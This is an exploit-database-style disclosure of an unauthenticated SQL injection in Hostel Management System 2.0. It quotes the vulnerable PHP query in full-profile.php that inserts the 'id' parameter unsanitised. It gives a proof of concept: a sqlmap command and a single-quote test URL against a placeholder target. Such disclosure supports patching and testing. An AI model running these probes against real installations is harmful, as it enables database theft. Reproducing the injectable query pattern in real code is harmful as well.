# Exploit Title: Hostel Management System 2.0 - 'id' SQL Injection (Unauthenticated)# Date: 2020-06-02# Exploit Author: Selim Enes 'Enesdex' Karaduman# Vendor Homepage: https://phpgurukul.com/hostel-management-system/# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7210# Version: 2.0# Tested on: Windows 10 - Wamp Server--Vulnerable file/full-profile.php
--Vulnerable code;
$ret= mysqli_query($con,"SELECT * FROM registration where emailid = '".$_GET['id']."'");
Id parameter's value is going into sql query directly!
--Proof Of Concept
sqlmap -u "http://TARGET/hostel/full-profile.php?id=6"
OR
http://TARGET/hostel/full-profile.php?id=6' Single Quote will cause SQL error